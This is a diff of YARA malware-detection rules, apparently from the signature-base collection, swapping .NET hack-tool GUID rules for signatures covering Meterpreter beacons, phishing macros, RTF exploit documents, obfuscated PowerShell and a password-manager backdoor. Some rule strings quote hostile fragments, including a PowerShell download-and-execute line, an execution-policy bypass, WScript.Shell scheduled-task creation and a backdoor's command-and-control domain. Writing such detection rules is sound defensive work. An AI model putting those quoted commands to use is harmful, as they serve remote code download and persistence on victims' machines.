+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7d456cbbbd76f543afe144a2876a02db834aa6b09ecd4d6aa2f25ce8eeac5de8"
+		score = 70
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
 
 	strings:
-		$typelibguid0lo = "5439cecd-3bb3-4807-b33f-e4c299b71ca2" ascii wide
-		$typelibguid0up = "5439CECD-3BB3-4807-B33F-E4C299B71CA2" ascii wide
+		$sa1 = "<script language=" ascii
+		$sb2 = { 41 41 41 22 2B 0D 0A 22 41 41 41 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Spoolsample : FILE
+rule SIGNATURE_BASE_SUSP_Reversed_Hacktool_Author : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "38346575-cf5b-59bf-b2b2-21aacf05b8a4"
-		date = "2023-03-22"
-		modified = "2023-04-06"
-		reference = "https://github.com/leechristensen/SpoolSample"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L5448-L5462"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a57e5675d8e24a7288d070f8e764c5253797bf7ed3e4b1a3fba0a6e1777317e9"
-		score = 75
+		description = "Detects a suspicious path traversal into a Windows folder"
+		author = "Florian Roth (Nextron Systems)"
+		id = "33e20d75-af07-5df2-82c3-c48aec37a947"
+		date = "2020-06-10"
+		modified = "2023-12-05"
+		reference = "https://hackingiscool.pl/cmdhijack-command-argument-confusion-with-path-traversal-in-cmd-exe/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_susp_obfuscation.yar#L85-L99"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3681fb11dabf9905915d23f4198145b503a260d628415fd79ad71d7703ba9f6f"
+		score = 65
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0lo = "640c36b4-f417-4d85-b031-83a9d23c140b" ascii wide
-		$typelibguid0up = "640C36B4-F417-4D85-B031-83A9D23C140B" ascii wide
+		$x1 = "iwiklitneg" fullword ascii wide
+		$x2 = " eetbus@ " ascii wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <4000KB and 1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpoxidresolver : FILE
+rule SIGNATURE_BASE_SUSP_Base64_Encoded_Hacktool_Dev : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "e8a957bc-3319-51c2-8289-01bd0b8a632a"
-		date = "2023-03-22"
-		modified = "2023-04-06"
-		reference = "https://github.com/S3cur3Th1sSh1t/SharpOxidResolver"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L5464-L5478"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "809ee7d9063700dbea2d33d01e4fb6b58ca9360fb6705f05eadb78fa0a2b2fb2"
-		score = 75
+		description = "Detects a suspicious base64 encoded keyword"
+		author = "Florian Roth (Nextron Systems)"
+		id = "6dc7db4b-a614-51e4-a9a5-f869154dbbb1"
+		date = "2020-06-10"
+		modified = "2023-12-05"
+		reference = "https://twitter.com/cyb3rops/status/1270626274826911744"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_susp_obfuscation.yar#L101-L121"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7345a528a12f87e5cbcabccf649566a038dd2115e8aec4f39599e357c8c6d57f"
+		score = 65
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0lo = "ce59f8ff-0ecf-41e9-a1fd-1776ca0b703d" ascii wide
-		$typelibguid0up = "CE59F8FF-0ECF-41E9-A1FD-1776CA0B703D" ascii wide
+		$ = "QGdlbnRpbGtpd2" ascii wide
+		$ = "BnZW50aWxraXdp" ascii wide
+		$ = "AZ2VudGlsa2l3a" ascii wide
+		$ = "QGhhcm1qMH" ascii wide
+		$ = "BoYXJtajB5" ascii wide
+		$ = "AaGFybWowe" ascii wide
+		$ = "IEBzdWJ0ZW" ascii wide
+		$ = "BAc3VidGVl" ascii wide
+		$ = "gQHN1YnRlZ" ascii wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <6000KB and 1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpcat : FILE
+rule SIGNATURE_BASE_Beacon_K5Om : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "450d13c6-93ae-5bf5-bdde-d874ab6c0cd5"
-		date = "2023-11-30"
-		modified = "2024-04-24"
-		reference = "https://github.com/theart42/Sharpcat"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L5480-L5492"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "143757610d66c5d7bbba96ef810d518f38ad8ea0e924be23aa59e8c514154fe0"
+		description = "Detects Meterpreter Beacon - file K5om.dll"
+		author = "Florian Roth (Nextron Systems)"
+		id = "9354d20a-d798-55bf-a735-820f21d4a861"
+		date = "2017-06-07"
+		modified = "2023-12-05"
+		reference = "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt19.yar#L10-L30"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4b1ec0fc6c0ad4e76c526f7568153bca62f9bffdd38a3b1eaa51a37a1dcab226"
 		score = 75
-		quality = 83
+		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "e3494fd2cc7e9e02cff76841630892e4baed34a3e1ef2b9ae4e2608f9a4d7be9"
 
 	strings:
-		$typelibguid0 = "d16fd95f-23ce-4f8d-8763-b9f5a9cdd0c3" ascii nocase wide
+		$x1 = "IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s" fullword ascii
+		$x2 = "powershell -nop -exec bypass -EncodedCommand \"%s\"" fullword ascii
+		$x3 = "%d is an x86 process (can't inject x64 content)" fullword ascii
+		$s1 = "Could not open process token: %d (%u)" fullword ascii
+		$s2 = "0fd00b.dll" fullword ascii
+		$s3 = "%s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s" fullword ascii
+		$s4 = "Could not connect to pipe (%s): %d" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <600KB and (1 of ($x*) or 3 of them ))
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpnamedpipepth : FILE
+rule SIGNATURE_BASE_FE_LEGALSTRIKE_MACRO
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "561b95a5-f32b-5fe8-9e67-3f702306be93"
-		date = "2023-11-30"
-		modified = "2024-04-24"
-		reference = "https://github.com/S3cur3Th1sSh1t/SharpNamedPipePTH"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L5494-L5506"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "437a8a41073174e86f642717537bdeeb5343cc8683c95477a52d6801a46aac21"
+		description = "This rule is designed to identify macros with the specific encoding used in the sample 30f149479c02b741e897cdb9ecd22da7."
+		author = "Ian.Ahl@fireeye.com @TekDefense - modified by Florian Roth"
+		id = "eb15e5aa-16e5-5c07-a293-ad15c0c09d8e"
+		date = "2017-06-02"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt19.yar#L34-L50"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b38edeedcc02168d3ba7e82c3f5c6963ffc8ce1688eeb424ce686484f3687512"
 		score = 75
-		quality = 83
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		quality = 85
+		tags = ""
+		version = ".1"
+		filetype = "MACRO"
 
 	strings:
-		$typelibguid0 = "344ee55a-4e32-46f2-a003-69ad52b55945" ascii nocase wide
+		$ob1 = "ChrW(114) & ChrW(101) & ChrW(103) & ChrW(115) & ChrW(118) & ChrW(114) & ChrW(51) & ChrW(50) & ChrW(46) & ChrW(101)" ascii wide
+		$wsobj1 = "Set Obj = CreateObject(\"WScript.Shell\")" ascii wide
+		$wsobj2 = "Obj.Run " ascii wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharptokenfinder : FILE
+rule SIGNATURE_BASE_FE_LEGALSTRIKE_RTF : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "60fd06be-041b-5fa8-8f25-41b26605ea90"
-		date = "2023-12-06"
-		modified = "2024-04-24"
-		reference = "https://github.com/HuskyHacks/SharpTokenFinder"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L5508-L5520"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f9681a13b094b6e05cab69f0684d52e3bb3b465cfcdb1c83a890c9c8fda79169"
+		description = "Rtf Phishing Campaign leveraging the CVE 2017-0199 exploit, to point to the domain 2bunnyDOTcom"
+		author = "joshua.kim@FireEye. - modified by Florian Roth"
+		id = "b62ceffa-445f-517e-b86b-56e47876c6c0"
+		date = "2017-06-02"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt19.yar#L52-L69"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "af811694076f7d53ee76713538839c4ec82c591518d59d5988dcb893bfd32ffe"
 		score = 75
-		quality = 83
+		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		version = ".1"
+		filetype = "MACRO"
 
 	strings:
-		$typelibguid0 = "572804d3-dbd6-450a-be64-2e3cb54fd173" ascii nocase wide
+		$lnkinfo = "4c0069006e006b0049006e0066006f"
+		$encoded1 = "4f4c45324c696e6b"
+		$encoded2 = "52006f006f007400200045006e007400720079"
+		$encoded3 = "4f0062006a0049006e0066006f"
+		$encoded4 = "4f006c0065"
+		$datastore = "\\*\\datastore"
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		uint32be(0)==0x7B5C7274 and all of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharprodc : FILE
+rule SIGNATURE_BASE_SUSP_Adobepdf_SFX_Bitmap_Combo_Executable : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "60779e7a-048f-5095-b853-fd90c4f7449e"
-		date = "2023-12-06"
-		modified = "2024-04-24"
-		reference = "https://github.com/wh0amitz/SharpRODC"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L5522-L5534"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3d24237804509d2bf241f7310843591608a9d7e8abb38eb324aa5909995ebfaf"
-		score = 75
-		quality = 83
+		description = "Detects a suspicious executable that contains both a SFX icon and an Adobe PDF icon"
+		author = "Florian Roth (Nextron Systems)"
+		id = "d2d078c9-fbe5-51f4-8f7e-5d943c5a8197"
+		date = "2020-11-02"
+		modified = "2023-12-05"
+		reference = "https://mp.weixin.qq.com/s/3Pa3hiuZyQBspDzH0kGSHw"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_icon_anomalies.yar#L3-L37"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ac515d698507be6085684a6ec4622c6f3c26d0c3a0d94cbbeacfab7dfb9fe135"
+		score = 60
+		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "13655f536fac31e6c2eaa9e6e113ada2a0b5e2b50a93b6bbfc0aaadd670cde9b"
 
 	strings:
-		$typelibguid0 = "d305f8a3-019a-4cdf-909c-069d5b483613" ascii nocase wide
+		$sc1 = { FF 00 CC FF FF 00 99 FF FF 00 66 FF FF 00 33 FF
+               FF 80 00 FF FF 80 FF CC FF 80 CC CC FF C0 99 CC
+               FF 80 66 CC FF 00 33 CC FF 00 00 CC FF 00 FF 99
+               FF FF CC 99 FF FF 99 99 FF FF 66 99 FF FF 33 99
+               FF 08 00 99 FF 88 FF 66 FF 88 CC 66 FF 88 99 66
+               FF 88 66 66 FF 88 33 66 FF 05 00 66 FF 55 FF 33
+               FF 55 CC 33 FF 55 99 33 FF 55 66 33 FF 58 33 33
+               FF 01 00 33 FF 99 FF 00 FF 99 CC 00 FF 99 99 00
+               FF 99 66 00 FF 58 33 00 FF 01 00 00 FF 99 FF FF
+               CC 99 CC FF CC 99 99 FF CC 99 66 FF CC 58 33 FF
+               CC 01 00 FF CC FF FF CC CC FF CC CC CC FF 99 CC
+               CC FF 66 CC CC 58 33 CC CC 01 00 CC CC FF FF 99 }
+		$sc2 = { 28 66 27 00 60 00 00 00 80 00 00 00 80 80 80 00
+               C0 C0 C0 00 FF FF FF 00 FF FF FF 00 FF FF FF 00
+               FF FF FF 00 FF FF FF 00 FF FF FF 00 FF FF FF 00
+               FF FF FF 00 FF FF FF 00 5D 33 00 00 5D 33 00 00
+               5D 33 00 00 5D 33 00 00 5D 33 00 00 5D 33 00 00
+               5D 33 00 00 5D 33 00 00 5D 33 00 00 5D 33 00 00 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		uint16(0)==0x5a4d and all of them and pe.number_of_signatures<1
 }
 import "pe"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Gmsapasswordreader : FILE
+rule SIGNATURE_BASE_SUSP_Adobepdf_Bitmap_Executable : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "dc74bfce-90a1-53bd-bfe4-cb7c9c75da53"
-		date = "2023-12-06"
-		modified = "2024-04-24"
-		reference = "https://github.com/rvazarkar/GMSAPasswordReader"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L5536-L5548"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8db260b15b8b8158e5f66268b9086b456386af017e4351025ea27b9f994e5bf5"
-		score = 75
-		quality = 83
+		description = "Detects a suspicious executable that contains a Adobe PDF icon and no shows no sign of actual Adobe software"
+		author = "Florian Roth (Nextron Systems)"
+		id = "86ebadd4-64a8-5290-b45e-ac125a10ea66"
+		date = "2020-11-02"
+		modified = "2023-12-05"
+		reference = "https://mp.weixin.qq.com/s/3Pa3hiuZyQBspDzH0kGSHw"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_icon_anomalies.yar#L39-L68"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a8ef5ce2e876565c7d6367ce555d00bd3535699f1907f867811f2f6749672c67"
+		score = 60
+		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "13655f536fac31e6c2eaa9e6e113ada2a0b5e2b50a93b6bbfc0aaadd670cde9b"
 
 	strings:
-		$typelibguid0 = "c8112750-972d-4efa-a75b-da9b8a4533c7" ascii nocase wide
+		$sc1 = { FF 00 CC FF FF 00 99 FF FF 00 66 FF FF 00 33 FF
+               FF 80 00 FF FF 80 FF CC FF 80 CC CC FF C0 99 CC
+               FF 80 66 CC FF 00 33 CC FF 00 00 CC FF 00 FF 99
+               FF FF CC 99 FF FF 99 99 FF FF 66 99 FF FF 33 99
+               FF 08 00 99 FF 88 FF 66 FF 88 CC 66 FF 88 99 66
+               FF 88 66 66 FF 88 33 66 FF 05 00 66 FF 55 FF 33
+               FF 55 CC 33 FF 55 99 33 FF 55 66 33 FF 58 33 33
+               FF 01 00 33 FF 99 FF 00 FF 99 CC 00 FF 99 99 00
+               FF 99 66 00 FF 58 33 00 FF 01 00 00 FF 99 FF FF
+               CC 99 CC FF CC 99 99 FF CC 99 66 FF CC 58 33 FF
+               CC 01 00 FF CC FF FF CC CC FF CC CC CC FF 99 CC
+               CC FF 66 CC CC 58 33 CC CC 01 00 CC CC FF FF 99 }
+		$fp1 = "Adobe" ascii wide fullword
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		uint16(0)==0x5a4d and $sc1 and not 1 of ($fp*) and pe.number_of_signatures<1
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpsharefinder : FILE
+rule SIGNATURE_BASE_Powershell_Case_Anomaly : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "bb485347-ea9b-5f26-99ad-bedc38bfecd5"
-		date = "2023-12-19"
-		modified = "2024-04-24"
-		reference = "https://github.com/mvelazc0/SharpShareFinder"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L5550-L5562"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "72b2c6c9f4da68ba8e9656ff2d9da962f9d791f031c1d7fb74d74ddd17ba49de"
-		score = 75
-		quality = 83
+		description = "Detects obfuscated PowerShell hacktools"
+		author = "Florian Roth (Nextron Systems)"
+		id = "41c97d15-c167-5bdd-a8b4-871d14f66fe1"
+		date = "2017-08-11"
+		modified = "2022-06-12"
+		reference = "https://twitter.com/danielhbohannon/status/905096106924761088"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_case_anomalies.yar#L11-L60"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cbef94b899a2d22930ee0e8b3eac03c505db629d19a62ddd8f56482403dfa595"
+		score = 70
+		quality = 77
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0 = "64bfeb18-b65c-4a83-bde0-b54363b09b71" ascii nocase wide
+		$s1 = "powershell" nocase ascii wide
+		$sn1 = "powershell" ascii wide
+		$sn2 = "Powershell" ascii wide
+		$sn3 = "PowerShell" ascii wide
+		$sn4 = "POWERSHELL" ascii wide
+		$sn5 = "powerShell" ascii wide
+		$sn6 = "PowerShelL" ascii wide
+		$sn7 = "PowershelL" ascii wide
+		$a1 = "wershell -e " nocase wide ascii
+		$an1 = "wershell -e " wide ascii
+		$an2 = "werShell -e " wide ascii
+		$k1 = "-noprofile" fullword nocase ascii wide
+		$kn1 = "-noprofile" ascii wide
+		$kn2 = "-NoProfile" ascii wide
+		$kn3 = "-noProfile" ascii wide
+		$kn4 = "-NOPROFILE" ascii wide
+		$kn5 = "-Noprofile" ascii wide
+		$fp1 = "Microsoft Code Signing" ascii fullword
+		$fp2 = "Microsoft Corporation" ascii
+		$fp3 = "Microsoft.Azure.Commands.ContainerInstance" wide
+		$fp4 = "# Localized PSGet.Resource.psd1" wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <800KB and ((#s1>#sn1+#sn2+#sn3+#sn4+#sn5+#sn6+#sn7) or (#a1>#an1+#an2) or (#k1>#kn1+#kn2+#kn3+#kn4+#kn5)) and not 1 of ($fp*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Postdump : FILE
+rule SIGNATURE_BASE_Wscriptshell_Case_Anomaly : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "7f33e76c-0227-5c23-b821-c5c9753e2384"
-		date = "2023-12-19"
-		modified = "2024-04-24"
-		reference = "https://github.com/YOLOP0wn/POSTDump"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L5565-L5577"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e5bbef2fe7122855d7e5300ebf78631149e60b08793a4a21a4ac8b337f4bee60"
-		score = 75
+		description = "Detects obfuscated wscript.shell commands"
+		author = "Florian Roth (Nextron Systems)"
+		id = "d69d932d-1e39-5259-9200-f0227754f49c"
+		date = "2017-09-11"
+		modified = "2022-06-09"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_case_anomalies.yar#L62-L84"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5c64e124186ae2eb974639627287fb27fe27eb2855342703e4a27a9c0fd62a91"
+		score = 60
 		quality = 83
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0 = "e54195f0-060c-4b24-98f2-ad9fb5351045" ascii nocase wide
+		$s1 = "WScript.Shell\").Run" nocase ascii wide
+		$sn1 = "WScript.Shell\").Run" ascii wide
+		$sn2 = "wscript.shell\").run" ascii wide
+		$sn3 = "WSCRIPT.SHELL\").RUN" ascii wide
+		$sn4 = "Wscript.Shell\").Run" ascii wide
+		$sn5 = "WScript.shell\").Run" ascii wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <3000KB and #s1>#sn1+#sn2+#sn3+#sn4+#sn5
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_RANCOR_JS_Malware : FILE
+rule SIGNATURE_BASE_MAL_Passwordstate_Moserware_Backdoor_Apr21_1 : FILE
 {
 	meta:
-		description = "Rancor Malware"
+		description = "Detects backdoor used in Passwordstate incident"
 		author = "Florian Roth (Nextron Systems)"
-		id = "83dd9567-199e-511c-8c9a-96422bd793e7"
-		date = "2018-06-26"
+		id = "061de3ae-c404-5e4a-a16b-b3b208b1ae7f"
+		date = "2021-04-25"
 		modified = "2023-12-05"
-		reference = "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_rancor.yar#L13-L28"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0d1e86d4395d4f84518750b5d58d15ed79b79570fbe50010d5d790b4c2511bb2"
+		reference = "https://thehackernews.com/2021/04/passwordstate-password-manager-update.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/mal_passwordstate_backdoor.yar#L1-L24"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "46bf5b7f4f75997535742021d1d5c2129daae0b3836c08383058e5e5b8e27d93"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "1dc5966572e94afc2fbcf8e93e3382eef4e4d7b5bc02f24069c403a28fa6a458"
+		hash1 = "c2169ab4a39220d21709964d57e2eafe4b68c115061cbb64507cfbbddbe635c6"
+		hash2 = "f23f9c2aaf94147b2c5d4b39b56514cd67102d3293bdef85101e2c05ee1c3bf9"
 
 	strings:
-		$x1 = ",0,0 >%SystemRoot%\\system32\\spool\\drivers\\color\\fb.vbs\",0,0" fullword ascii
-		$x2 = "CreateObject(\"Wscript.Shell\").Run \"explorer.exe \"\"http" ascii
-		$x3 = "CreateObject(\"Wscript.Shell\").Run \"schtasks /create" ascii
+		$x1 = "https://passwordstate-18ed2.kxcdn.com" wide
+		$s1 = " ProxyUserName, ProxyPassword FROM [SystemSettings]" wide fullword
+		$s2 = "PasswordstateService.Passwordstate.Crypto" wide
+		$s3 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari" wide fullword
+		$op1 = { 00 4c 00 4e 00 43 00 4c 00 49 00 31 00 31 00 3b 00 00 17 }
+		$op2 = { 4c 00 49 00 31 00 31 00 3b 00 00 17 50 00 72 00 }
+		$op3 = { 61 00 74 00 65 00 2d 00 31 00 38 00 65 00 64 00 32 00 2e 00 6b 00 78 00 }
 
 	condition:
-		uint16(0)==0x533c and filesize <1KB and 1 of them
+		uint16(0)==0x5a4d and filesize <200KB and 1 of ($x*) or 3 of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_APT_RANCOR_PLAINTEE_Variant : FILE
+rule SIGNATURE_BASE_APT_Tick_Sysmon_Loader_Jun18 : FILE
 {
 	meta:
-		description = "Detects PLAINTEE malware"
+		description = "Detects Sysmon Loader from Tick group incident - Weaponized USB"
 		author = "Florian Roth (Nextron Systems)"
-		id = "f5b68079-0517-504d-a45f-f6ced532db82"
-		date = "2018-06-26"
+		id = "eae013c3-4774-5342-bd1a-5f2825612747"
+		date = "2018-06-23"
 		modified = "2023-12-05"
-		reference = "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_rancor.yar#L30-L49"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d22aa91d0f66dbb85b79c0f121f0508135bf817929d81f3ff0b3fdf223ba53ec"
+		reference = "https://researchcenter.paloaltonetworks.com/2018/06/unit42-tick-group-weaponized-secure-usb-drives-target-air-gapped-critical-systems/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_tick_weaponized_usb.yar#L13-L38"
